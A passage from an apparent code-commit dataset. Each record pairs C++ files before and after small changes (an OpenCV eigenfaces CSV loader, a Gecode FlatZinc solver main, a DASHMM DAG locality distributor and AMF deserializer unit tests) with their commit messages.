separator);\r\n\t\tgetline(liness, classlabel);\r\n\t\tif (!path.empty() && !classlabel.empty()) {\r\n\t\t\t\/\/Mat im = imread(path, 0);\r\n\t\t\t\/\/images.push_back(imread(path, 0));\r\n\t\t\tMat image = imread(path, CV_LOAD_IMAGE_GRAYSCALE);\r\n\r\n\t\t\timages.push_back(image);\r\n\r\n\t\t\t\/*\r\n\t\t\tMat im1 = im.clone();\r\n\t\t\tif ( !im1.isContinuous())\r\n\t\t\t{\r\n\t\t\t .bmp files sometimes are 'padded' to multiples of 4\r\n\t\t\t * convert the images to png, pbm or\r\n\t\t\t * use im.clone() - the deep copy will force continuity\r\n\t\t\t\r\n\t\t\tMat im = im.clone();\r\n\t\t\tcout <<\"out\" << endl;\r\n\t\t\t}\r\n\t\t\t*\/\r\n\r\n\t\t\tlabels.push_back(atoi(classlabel.c_str()));\r\n\r\n\t\t\t\/\/ for each subject\r\n\t\t\tif ((num % SUBJECT_DATASET) == 0)\r\n\t\t\t{\r\n\t\t\t\t\/\/mat_matrix.push_back(images);\r\n\t\t\t\t\/\/label_matrix.push_back(labels);\r\n\r\n\t\t\t\tcout << \"For the subject num: \" << index << endl;\r\n\t\t\t\tlogstream << \"For the subject num: \" + to_string(index) << endl;\r\n\r\n\t\t\t\t\/\/mkdir \r\n\t\t\t\tstring dir = get_dir(path, output_folder);\r\n\t\t\t\t_mkdir(dir.c_str());\r\n\r\n\t\t\t\t\/\/ get the calculation results \r\n\t\t\t\tstring str = get_result(logstream, images, labels, dir);\r\n\r\n\t\t\t\tfstream << str << endl;\r\n\t\t\t\t\/\/\r\n\t\t\t\timages.clear();\r\n\t\t\t\tlabels.clear();\r\n\r\n\t\t\t\tcout << \"-----------------------------\" << endl;\r\n\t\t\t\tlogstream << \"-----------------------------\" << endl;\r\n\r\n\t\t\t\t\/\/next suject\r\n\t\t\t\tindex++;\r\n\t\t\t}\r\n\r\n\t\t\tnum++;\r\n\t\t}\r\n\t}\r\n\r\n\t\/*\r\n\t\/\/print out\r\n\tfor (int i = 0; i < mat_matrix.size(); i++)\r\n\t{\r\n\t\tfor (int j = 0; j < mat_matrix[i].size(); i++)\r\n\t\t\tcout << mat_matrix[i][j] <<\":\"<< label_matrix[i][j] << \" \";\r\n\r\n\t\tcout << endl;\r\n\t}\r\n\t*\/\r\n\r\n\tfstream.close();\r\n}\r\n\r\nint main(int argc, const char* argv[])\r\n{\r\n\t\/*\r\n\tif (argc < 2)\r\n\t{\r\n\t\tcout << \"usage: \" << argv[0] << \" \" << endl;\r\n\t\texit(1);\r\n\t}\r\n\t*\/\r\n\t\r\n\targv[1] = \"e:\\\\wenlong\\\\documents\\\\code\\\\opencv\\\\eigenfaces\\\\x64\\\\Debug\\\\input_.txt\";\r\n\targv[2] = \"E:\\\\wenlong\\\\documents\\\\code\\\\opencv\\\\eigenfaces\\\\x64\\\\Debug\\\\output\\\\\";\r\n\r\n\t\/\/string output_folder = \".\";\r\n\tstring output_folder = argv[2];\r\n\t\r\n\t\/*\r\n\tif (argc == 3)\r\n\t{\r\n\t\toutput_folder = string(argv[2]);\r\n\t}\r\n\t*\/\r\n\r\n\t\/\/ get the path to the csv\r\n\tstring fn_csv = string(argv[1]);\r\n\r\n\t\/\/open the log file\r\n\tofstream logstream;\r\n\tlogstream.open(output_folder + \"log.txt\");\r\n\r\n\t\/\/ The vectors hold the images and corresponding labels based on the csv format\r\n\t\/\/vector images;\r\n\t\/\/store the subjects\r\n\t\/\/vector > mat_matrix;\r\n\t\/\/vector > label_matrix;\r\n\t\r\n\t\/\/ read the csv file\r\n\ttry {\r\n\t\tread_csv(logstream, fn_csv, output_folder);\r\n\r\n\t} catch (cv::Exception& e){\r\n\t\tcerr << \"Error opening file \\\"\" << fn_csv << \"\\\". Reason: \" << e.msg << endl;\r\n\t\texit(1);\r\n\t}\r\n\r\n\t\/\/ display if we are not writing to an output folder\r\n\t\/\/if (argc == 2)\r\n\t\/\/{\r\n\t\twaitKey(0);\r\n\t\/\/}\r\n\r\n\r\n\tlogstream.close();\r\n\r\n\treturn 0;\r\n}\r\n<|endoftext|>"} {"text":"\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\/*\n * Main authors:\n * Guido Tack \n * Modified:\n * Laurent Perron (lperron@google.com)\n *\n * Copyright:\n * Guido Tack, 2007\n *\n *\n * This file is part of Gecode, the generic constraint\n * development environment:\n * http:\/\/www.gecode.org\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include \n#include \n#include \n#include \"base\/commandlineflags.h\"\n#include \"base\/commandlineflags.h\"\n#include \"base\/integral_types.h\"\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/stringprintf.h\"\n#include \"flatzinc\/flatzinc.h\"\n\nDEFINE_int32(log_frequency, 100000, \"Search log frequency\");\nDEFINE_bool(log, false, \"Show search log\");\nDEFINE_bool(all, false, \"Search for all solutions\");\nDEFINE_bool(free, false, \"Ignore search annotations\");\nDEFINE_int32(num_solutions, 0, \"Number of solution to search for\");\nDEFINE_int32(time_limit, 0, \"time limit in ms\");\nDECLARE_bool(log_prefix);\n\nnamespace operations_research {\nvoid Run(const std::string& file) {\n FlatZincModel fz_model;\n if (file == \"-\") {\n fz_model.Parse(std::cin);\n } else {\n fz_model.Parse(file);\n }\n\n fz_model.Solve(FLAGS_log_frequency,\n FLAGS_log,\n FLAGS_all,\n FLAGS_free,\n FLAGS_num_solutions,\n FLAGS_time_limit);\n}\n}\n\nint main(int argc, char** argv) {\n FLAGS_log_prefix=false;\n google::ParseCommandLineFlags(&argc, &argv, true);\n if (argc <= 1) {\n LOG(ERROR) << \"Usage: \" << argv[0] << \" \";\n exit(EXIT_FAILURE);\n }\n operations_research::Run(argv[1]);\n return 0;\n}\nsupport official flags -p, -f, -a\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\/*\n * Main authors:\n * Guido Tack \n * Modified:\n * Laurent Perron (lperron@google.com)\n *\n * Copyright:\n * Guido Tack, 2007\n *\n *\n * This file is part of Gecode, the generic constraint\n * development environment:\n * http:\/\/www.gecode.org\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include \n#include \n#include \n#include \"base\/commandlineflags.h\"\n#include \"base\/commandlineflags.h\"\n#include \"base\/integral_types.h\"\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/stringprintf.h\"\n#include \"flatzinc\/flatzinc.h\"\n\nDEFINE_int32(log_frequency, 100000, \"Search log frequency\");\nDEFINE_bool(log, false, \"Show search log\");\nDEFINE_bool(all, false, \"Search for all solutions\");\nDEFINE_bool(free, false, \"Ignore search annotations\");\nDEFINE_int32(num_solutions, 0, \"Number of solution to search for\");\nDEFINE_int32(time_limit, 0, \"time limit in ms\");\nDEFINE_int32(threads, 0, \"threads\");\nDECLARE_bool(log_prefix);\n\nnamespace operations_research {\nvoid Run(const std::string& file) {\n FlatZincModel fz_model;\n if (file == \"-\") {\n fz_model.Parse(std::cin);\n } else {\n fz_model.Parse(file);\n }\n\n fz_model.Solve(FLAGS_log_frequency,\n FLAGS_log,\n FLAGS_all,\n FLAGS_free,\n FLAGS_num_solutions,\n FLAGS_time_limit);\n}\n}\n\nint main(int argc, char** argv) {\n FLAGS_log_prefix=false;\n for (int i = 1; i < argc; ++i) {\n if (strcmp(argv[i], \"-a\") == 0) {\n argv[i] = \"--all\";\n }\n if (strcmp(argv[i], \"-f\") == 0) {\n argv[i] = \"--free\";\n }\n if (strcmp(argv[i], \"-p\") == 0) {\n argv[i] = \"--threads\";\n }\n }\n google::ParseCommandLineFlags(&argc, &argv, true);\n if (argc <= 1) {\n LOG(ERROR) << \"Usage: \" << argv[0] << \" \";\n exit(EXIT_FAILURE);\n }\n operations_research::Run(argv[1]);\n return 0;\n}\n<|endoftext|>"} {"text":"\/\/ =============================================================================\n\/\/ This file is part of:\n\/\/ Dynamic Adaptive System for Hierarchical Multipole Methods (DASHMM)\n\/\/\n\/\/ Copyright (c) 2015-2016, Trustees of Indiana University,\n\/\/ All rights reserved.\n\/\/\n\/\/ DASHMM is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ DASHMM is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with DASHMM. If not, see .\n\/\/\n\/\/ This software was created at the Indiana University Center for Research in\n\/\/ Extreme Scale Technologies (CREST).\n\/\/ =============================================================================\n\n\n#include \"builtins\/fmm97distro.h\"\n\n#include \n#include \n#include \n\nnamespace dashmm {\n\nvoid FMM97Distro::compute_distribution(DAG &dag) {\n \/\/ color all the DAG node\n for (size_t i = 0; i < dag.source_leaves.size(); ++i) {\n DAGNode *s = dag.source_leaves[i];\n s->color = 0;\n color(s);\n }\n\n \/\/ Confine M and I of the source tree\n for (size_t i = 0; i < dag.source_leaves.size(); ++i) {\n DAGNode *n = dag.source_leaves[i];\n assert(n->locality != -1);\n confine(n, 's');\n }\n\n \/\/ Confine L of the target tree\n for (size_t i = 0; i < dag.target_leaves.size(); ++i) {\n DAGNode *n = dag.target_leaves[i];\n assert(n->locality != -1);\n confine(n, 't');\n }\n\n \/\/ Make decision on I of the target tree\n for (size_t i = 0; i < dag.target_nodes.size(); ++i) {\n DAGNode *n = dag.target_nodes[i];\n if (n->locality == -1)\n assign(n);\n }\n}\n\nvoid FMM97Distro::color(DAGNode *s) {\n for (size_t i = 0; i < s->out_edges.size(); ++i) {\n DAGNode *t = s->out_edges[i].target;\n t->color = std::max(t->color, s->color + 1);\n color(t);\n }\n}\n\nvoid FMM97Distro::confine(DAGNode *n, char type) {\n assert(type == 's' || type == 't');\n\n \/\/ Note: there may be multiple times \\param n is visited. \n\n if (type == 's') {\n for (size_t i = 0; i < n->out_edges.size(); ++i) {\n DAGNode *target = n->out_edges[i].target;\n Operation op = n->out_edges[i].op;\n bool terminate = true; \n\n if (target->locality == -1) {\n if (op == Operation::MtoM || op == Operation::MtoI) \n target->locality = n->locality; \n\n if (op == Operation::MtoM) \n terminate = false; \n } else if (op == Operation::StoM) {\n terminate = false; \n } \n\n if (terminate == false) \n confine(target, type); \n }\n } else {\n for (size_t i = 0; i < n->in_edges.size(); ++i) {\n DAGNode *source = n->in_edges[i].source;\n Operation op = n->in_edges[i].op;\n bool terminate = true; \n\n if (source->locality == -1) {\n if (op == Operation::LtoL) {\n source->locality = n->locality; \n terminate = false; \n } \n } else if (op == Operation::LtoT) {\n terminate = false; \n } \n\n if (terminate == false) \n confine(source, type); \n }\n }\n}\n\nvoid FMM97Distro::assign(DAGNode *n) {\n \/\/ \\param n is the expansion LCO for an intermediate expansion of\n \/\/ the target tree.\n\n \/\/ Compute communication cost if \\param n and the DAGNodes of its\n \/\/ \\param out_edges are placed on different localities.\n int target_locality = n->out_edges[0].target->locality;\n int out_weight = n->out_edges.size() * n->out_edges[0].weight;\n\n \/\/ Categorize incoming edges\n std::map color;\n std::map weight;\n int in_weight = 0;\n\n for (size_t i = 0; i < n->in_edges.size(); ++i) {\n int w = n->in_edges[i].weight;\n int c = n->in_edges[i].source->color;\n int source_locality = n->in_edges[i].source->locality;\n\n color[source_locality] = std::max(color[source_locality], c);\n weight[source_locality] += w;\n in_weight += w;\n }\n\n int min_weight = std::numeric_limits::max();\n int max_color = std::numeric_limits::min();\n int locality = -1;\n\n for (auto i = weight.begin(); i != weight.end(); ++i) {\n int source_locality = i->first;\n int w = i->second + out_weight * (source_locality != target_locality);\n int c = color[source_locality];\n\n if (w < min_weight) {\n min_weight = w;\n max_color = c;\n locality = source_locality;\n } else if (w == min_weight && c > max_color) {\n max_color = c;\n locality = source_locality;\n }\n }\n\n n->locality = locality;\n assert(locality != -1); \n}\n\n} \/\/ dashmm\ntemporary fix\/\/ =============================================================================\n\/\/ This file is part of:\n\/\/ Dynamic Adaptive System for Hierarchical Multipole Methods (DASHMM)\n\/\/\n\/\/ Copyright (c) 2015-2016, Trustees of Indiana University,\n\/\/ All rights reserved.\n\/\/\n\/\/ DASHMM is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ DASHMM is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with DASHMM. If not, see .\n\/\/\n\/\/ This software was created at the Indiana University Center for Research in\n\/\/ Extreme Scale Technologies (CREST).\n\/\/ =============================================================================\n\n#include \n\n#include \"builtins\/fmm97distro.h\"\n\n#include \n#include \n#include \n\nnamespace dashmm {\n\nvoid FMM97Distro::compute_distribution(DAG &dag) {\n \/\/ color all the DAG node\n for (size_t i = 0; i < dag.source_leaves.size(); ++i) {\n DAGNode *s = dag.source_leaves[i];\n s->color = 0;\n color(s);\n }\n\n \/\/ Confine M and I of the source tree\n for (size_t i = 0; i < dag.source_leaves.size(); ++i) {\n DAGNode *n = dag.source_leaves[i];\n assert(n->locality != -1);\n confine(n, 's');\n }\n \n \/\/ Assert all the source nodes have their locality fixed \n for (size_t i = 0; i < dag.source_nodes.size(); ++i) {\n DAGNode *n = dag.source_nodes[i]; \n if (n->idx.level() < 3) \n n->locality = 0; \n assert(n->locality != -1); \n }\n\n \/\/ Confine L of the target tree\n for (size_t i = 0; i < dag.target_leaves.size(); ++i) {\n DAGNode *n = dag.target_leaves[i];\n assert(n->locality != -1);\n confine(n, 't');\n }\n\n for (size_t i = 0; i < dag.target_nodes.size(); ++i) {\n DAGNode *n = dag.target_nodes[i];\n if (n->idx.level() < 3) \n n->locality = 0; \n assert(n->locality != -1); \n }\n \n \/\/ Make decision on I of the target tree\n for (size_t i = 0; i < dag.target_nodes.size(); ++i) {\n DAGNode *n = dag.target_nodes[i];\n if (n->locality == -1)\n assign(n);\n }\n\n\n \/\/ Assert all the target nodes have their locality fixed \n for (size_t i = 0; i < dag.target_nodes.size(); ++i) {\n DAGNode *n = dag.target_nodes[i]; \n assert(n->locality != -1); \n }\n}\n\nvoid FMM97Distro::color(DAGNode *s) {\n for (size_t i = 0; i < s->out_edges.size(); ++i) {\n DAGNode *t = s->out_edges[i].target;\n t->color = std::max(t->color, s->color + 1);\n color(t);\n }\n}\n\nvoid FMM97Distro::confine(DAGNode *n, char type) {\n assert(type == 's' || type == 't');\n\n \/\/ Note: there may be multiple times \\param n is visited. \n\n\n if (type == 's') {\n for (size_t i = 0; i < n->out_edges.size(); ++i) {\n DAGNode *target = n->out_edges[i].target;\n Operation op = n->out_edges[i].op;\n bool terminate = true; \n\n if (target->locality == -1) {\n if (op == Operation::MtoM || op == Operation::MtoI) \n target->locality = n->locality; \n\n if (op == Operation::MtoM) \n terminate = false; \n } else if (op == Operation::StoM) {\n terminate = false; \n } \n\n if (terminate == false) \n confine(target, type); \n }\n } else {\n for (size_t i = 0; i < n->in_edges.size(); ++i) {\n DAGNode *source = n->in_edges[i].source;\n Operation op = n->in_edges[i].op;\n bool terminate = true; \n\n if (source->locality == -1) {\n if (op == Operation::LtoL) {\n source->locality = n->locality; \n terminate = false; \n } \n } else if (op == Operation::LtoT) {\n terminate = false; \n } \n\n if (terminate == false) \n confine(source, type); \n }\n }\n \n\n\n \/*\n if (type == 's') {\n for (size_t i = 0; i < n->out_edges.size(); ++i) {\n DAGNode *target = n->out_edges[i].target; \n Operation op = n->out_edges[i].op; \n bool terminate = true; \n\n if (op == Operation::MtoI) {\n target->locality = n->locality; \n } \n\n if (op == Operation::MtoM) {\n if (n->locality > target->locality) {\n target->locality = n->locality; \n terminate = false;\n }\n }\n\n if (op == Operation::StoM) \n terminate = false; \n\n if (terminate == false) \n confine(target, type); \n }\n } else {\n for (size_t i = 0; i < n->in_edges.size(); ++i) {\n DAGNode *source = n->in_edges[i].source; \n Operation op = n->in_edges[i].op; \n bool terminate = true; \n\n if (op == Operation::LtoT) \n terminate = false; \n\n if (op == Operation::LtoL) {\n if (n->locality > source->locality) {\n source->locality = n->locality; \n terminate = false; \n }\n }\n\n if (terminate == false) \n confine(source, type); \n }\n }\n *\/\n}\n\nvoid FMM97Distro::assign(DAGNode *n) {\n \/\/ \\param n is the expansion LCO for an intermediate expansion of\n \/\/ the target tree.\n\n \/\/ Compute communication cost if \\param n and the DAGNodes of its\n \/\/ \\param out_edges are placed on different localities.\n int target_locality = n->out_edges[0].target->locality;\n int out_weight = n->out_edges.size() * n->out_edges[0].weight;\n\n \/\/ Categorize incoming edges\n std::map color;\n std::map weight;\n int in_weight = 0;\n\n for (size_t i = 0; i < n->in_edges.size(); ++i) {\n int w = n->in_edges[i].weight;\n int c = n->in_edges[i].source->color;\n int source_locality = n->in_edges[i].source->locality;\n\n color[source_locality] = std::max(color[source_locality], c);\n weight[source_locality] += w;\n in_weight += w;\n }\n\n int min_weight = std::numeric_limits::max();\n int max_color = std::numeric_limits::min();\n int locality = -1;\n\n for (auto i = weight.begin(); i != weight.end(); ++i) {\n int source_locality = i->first;\n int w = i->second + out_weight * (source_locality != target_locality);\n int c = color[source_locality];\n\n if (w < min_weight) {\n min_weight = w;\n max_color = c;\n locality = source_locality;\n } else if (w == min_weight && c > max_color) {\n max_color = c;\n locality = source_locality;\n }\n }\n\n n->locality = locality;\n assert(locality != -1); \n}\n\n} \/\/ dashmm\n<|endoftext|>"} {"text":"#include \"amftest.hpp\"\n\n#include \"deserializer.hpp\"\n#include \"deserializationcontext.hpp\"\n\n#include \"types\/amfarray.hpp\"\n#include \"types\/amfbool.hpp\"\n#include \"types\/amfbytearray.hpp\"\n#include \"types\/amfdate.hpp\"\n#include \"types\/amfdictionary.hpp\"\n#include \"types\/amfdouble.hpp\"\n#include \"types\/amfinteger.hpp\"\n#include \"types\/amfnull.hpp\"\n#include \"types\/amfobject.hpp\"\n#include \"types\/amfstring.hpp\"\n#include \"types\/amfundefined.hpp\"\n#include \"types\/amfvector.hpp\"\n#include \"types\/amfxml.hpp\"\n#include \"types\/amfxmldocument.hpp\"\n\n#include \"utils\/amfitemptr.hpp\"\n\ntemplate\nstatic void deserializesTo(const T& expected, v8 data, int left = 0) {\n\tSCOPED_TRACE(::testing::PrintToString(expected) + \" = \" + ::testing::PrintToString(data));\n\n\tauto it = data.cbegin();\n\ttry {\n\t\tDeserializer d;\n\t\tT i = d.deserialize(it, data.cend()).as();\n\t\tASSERT_EQ(expected, i);\n\t\tT j = *d.deserialize(data).asPtr();\n\t\tASSERT_EQ(expected, j);\n\t\tDeserializationContext ctx;\n\t\tT k = Deserializer::deserialize(data, ctx).as();\n\t\tASSERT_EQ(expected, k);\n\t} catch(std::exception& e) {\n\t\tFAIL() << \"Deserialization threw exception:\\n\"\n\t\t << e.what() ;\n\t}\n\n\tASSERT_EQ(left, data.cend() - it)\n\t\t<< \"Expected \" << left\n\t\t<< \" bytes left, got \" << (data.cend() - it)\n\t\t<< \" bytes left\";\n}\n\nTEST(DeserializerTest, Undefined) {\n\tdeserializesTo(AmfUndefined(), { 0x00 });\n\tdeserializesTo(AmfUndefined(), { 0x00, 0x00 }, 1);\n}\n\nTEST(DeserializerTest, Null) {\n\tdeserializesTo(AmfNull(), { 0x01 });\n\tdeserializesTo(AmfNull(), { 0x01, 0x01 }, 1);\n}\n\nTEST(DeserializerTest, Bool) {\n\tdeserializesTo(AmfBool(false), { 0x02 });\n\tdeserializesTo(AmfBool(false), { 0x02, 0x02 }, 1);\n\tdeserializesTo(AmfBool(true), { 0x03 });\n\tdeserializesTo(AmfBool(true), { 0x03, 0x03 }, 1);\n}\n\nTEST(DeserializerTest, Integer) {\n\tdeserializesTo(AmfInteger(0x7e), { 0x04, 0x7e });\n\tdeserializesTo(AmfInteger(0x7e), { 0x04, 0x7e, 0x04 }, 1);\n\tdeserializesTo(AmfInteger(0xffffffe), { 0x04, 0xbf, 0xff, 0xff, 0xfe });\n}\n\nTEST(DeserializerTest, Double) {\n\tdeserializesTo(AmfDouble(0.5), { 0x05, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\tdeserializesTo(AmfDouble(0.5), { 0x05, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00 }, 3);\n}\n\nTEST(DeserializerTest, String) {\n\tdeserializesTo(AmfString(\"foo\"), { 0x06, 0x07, 0x66, 0x6f, 0x6f });\n\tdeserializesTo(AmfString(\"foo\"), { 0x06, 0x07, 0x66, 0x6f, 0x6f, 0x06 }, 1);\n}\n\nTEST(DeserializerTest, XmlDoc) {\n\tdeserializesTo(AmfXmlDocument(\"\"), { 0x07, 0x01 });\n\tdeserializesTo(AmfXmlDocument(\"\"), { 0x07, 0x01, 0x07 }, 1);\n\tdeserializesTo(AmfXmlDocument(\"foo\"), { 0x07, 0x07, 0x66, 0x6f, 0x6f });\n}\n\nTEST(DeserializerTest, Date) {\n\tdeserializesTo(AmfDate(136969002755210ll), { 0x08, 0x01, 0x42, 0xdf, 0x24,\n\t\t0xa5, 0x30, 0x49, 0x22, 0x80 });\n\tdeserializesTo(AmfDate(136969002755210ll), { 0x08, 0x01, 0x42, 0xdf, 0x24,\n\t\t0xa5, 0x30, 0x49, 0x22, 0x80, 0x08 }, 1);\n}\n\nTEST(DeserializerTest, Array) {\n\tdeserializesTo(AmfArray(), { 0x09, 0x01, 0x01 });\n\tdeserializesTo(AmfArray(std::vector { 1, 2, 3 } ), {\n\t\t0x09, 0x07, 0x01, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, Xml) {\n\tdeserializesTo(AmfXml(\"\"), { 0x0b, 0x01 });\n\tdeserializesTo(AmfXml(\"\"), { 0x0b, 0x01, 0x0b }, 1);\n\tdeserializesTo(AmfXml(\"foo\"), { 0x0b, 0x07, 0x66, 0x6f, 0x6f });\n}\n\nTEST(DeserializerTest, Object) {\n\tdeserializesTo(AmfObject(\"\", false, false), { 0x0a, 0x03, 0x01 });\n\tdeserializesTo(AmfObject(\"\", true, false), { 0x0a, 0x0b, 0x01, 0x01, 0xff }, 1);\n}\n\nTEST(DeserializerTest, ByteArray) {\n\tdeserializesTo(AmfByteArray(v8 { 1, 2, 3 }), { 0x0c, 0x07, 0x01, 0x02, 0x03 });\n\tdeserializesTo(AmfByteArray(v8 { 1, 2, 3 }), { 0x0c, 0x07, 0x01, 0x02, 0x03, 0x0c }, 1);\n}\n\nTEST(DeserializerTest, VectorInt) {\n\tdeserializesTo(AmfVector { { 1 }, false}, { 0x0d, 0x03, 0x00,\n\t\t0x00, 0x00, 0x00, 0x01 });\n\tdeserializesTo(AmfVector { { 2, 3 }, true}, { 0x0d, 0x05, 0x01,\n\t\t0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorUint) {\n\tdeserializesTo(AmfVector { { 1 }, false}, { 0x0e, 0x03, 0x00,\n\t\t0x00, 0x00, 0x00, 0x01 });\n\tdeserializesTo(AmfVector { { 2, 3 }, true}, { 0x0e, 0x05, 0x01,\n\t\t0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorDouble) {\n\tdeserializesTo(AmfVector { { 0.5 }, false }, { 0x0f, 0x03, 0x00,\n\t\t0x3f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\tdeserializesTo(AmfVector { { -1.2 }, true }, { 0x0f, 0x03, 0x01,\n\t\t0xbf, 0xf3, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorAmfItem) {\n\tAmfVector v({1, 2, 3}, \"foo\", false);\n\t\/\/ Need to pass a AmfVector to compare against, as that's what\n\t\/\/ Deserializer::deserialize returns\n\tAmfVector vc = v;\n\tv8 data {\n\t\t0x10, 0x07, 0x00,\n\t\t0x07, 0x66, 0x6f, 0x6f,\n\t\t0x04, 0x01,\n\t\t0x04, 0x02,\n\t\t0x04, 0x03\n\t};\n\n\tdeserializesTo(vc, data);\n}\n\nTEST(DeserializerTest, InstanceContext) {\n\tAmfByteArray ba(v8 { 0x1 });\n\tv8 data {\n\t\t0x0c, 0x03, 0x01,\n\t\t0x0c, 0x00,\n\t};\n\n\tDeserializer d;\n\tauto it = data.cbegin();\n\tauto end = data.cend();\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\tASSERT_EQ(data.cbegin() + 3, it);\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\tASSERT_EQ(end, it);\n}\n\nTEST(DeserializerTest, ClearContext) {\n\tAmfByteArray ba(v8 { 0x1 });\n\tv8 data {\n\t\t0x0c, 0x03, 0x01,\n\t\t0x0c, 0x00,\n\t};\n\n\tDeserializer d;\n\tauto it = data.cbegin();\n\tauto end = data.cend();\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\td.clearContext();\n\tASSERT_THROW(d.deserialize(it, end), std::out_of_range);\n}\n\nTEST(DeserializerTest, UnknownType) {\n\tDeserializer d;\n\tASSERT_THROW(d.deserialize({ AMF_DICTIONARY + 1 }), std::invalid_argument);\n\tASSERT_THROW(d.deserialize({ 0xff }), std::invalid_argument);\n}\nAdd test for reference with incorrect type.#include \"amftest.hpp\"\n\n#include \"deserializer.hpp\"\n#include \"deserializationcontext.hpp\"\n\n#include \"types\/amfarray.hpp\"\n#include \"types\/amfbool.hpp\"\n#include \"types\/amfbytearray.hpp\"\n#include \"types\/amfdate.hpp\"\n#include \"types\/amfdictionary.hpp\"\n#include \"types\/amfdouble.hpp\"\n#include \"types\/amfinteger.hpp\"\n#include \"types\/amfnull.hpp\"\n#include \"types\/amfobject.hpp\"\n#include \"types\/amfstring.hpp\"\n#include \"types\/amfundefined.hpp\"\n#include \"types\/amfvector.hpp\"\n#include \"types\/amfxml.hpp\"\n#include \"types\/amfxmldocument.hpp\"\n\n#include \"utils\/amfitemptr.hpp\"\n\ntemplate\nstatic void deserializesTo(const T& expected, v8 data, int left = 0) {\n\tSCOPED_TRACE(::testing::PrintToString(expected) + \" = \" + ::testing::PrintToString(data));\n\n\tauto it = data.cbegin();\n\ttry {\n\t\tDeserializer d;\n\t\tT i = d.deserialize(it, data.cend()).as();\n\t\tASSERT_EQ(expected, i);\n\t\tT j = *d.deserialize(data).asPtr();\n\t\tASSERT_EQ(expected, j);\n\t\tDeserializationContext ctx;\n\t\tT k = Deserializer::deserialize(data, ctx).as();\n\t\tASSERT_EQ(expected, k);\n\t} catch(std::exception& e) {\n\t\tFAIL() << \"Deserialization threw exception:\\n\"\n\t\t << e.what() ;\n\t}\n\n\tASSERT_EQ(left, data.cend() - it)\n\t\t<< \"Expected \" << left\n\t\t<< \" bytes left, got \" << (data.cend() - it)\n\t\t<< \" bytes left\";\n}\n\nTEST(DeserializerTest, Undefined) {\n\tdeserializesTo(AmfUndefined(), { 0x00 });\n\tdeserializesTo(AmfUndefined(), { 0x00, 0x00 }, 1);\n}\n\nTEST(DeserializerTest, Null) {\n\tdeserializesTo(AmfNull(), { 0x01 });\n\tdeserializesTo(AmfNull(), { 0x01, 0x01 }, 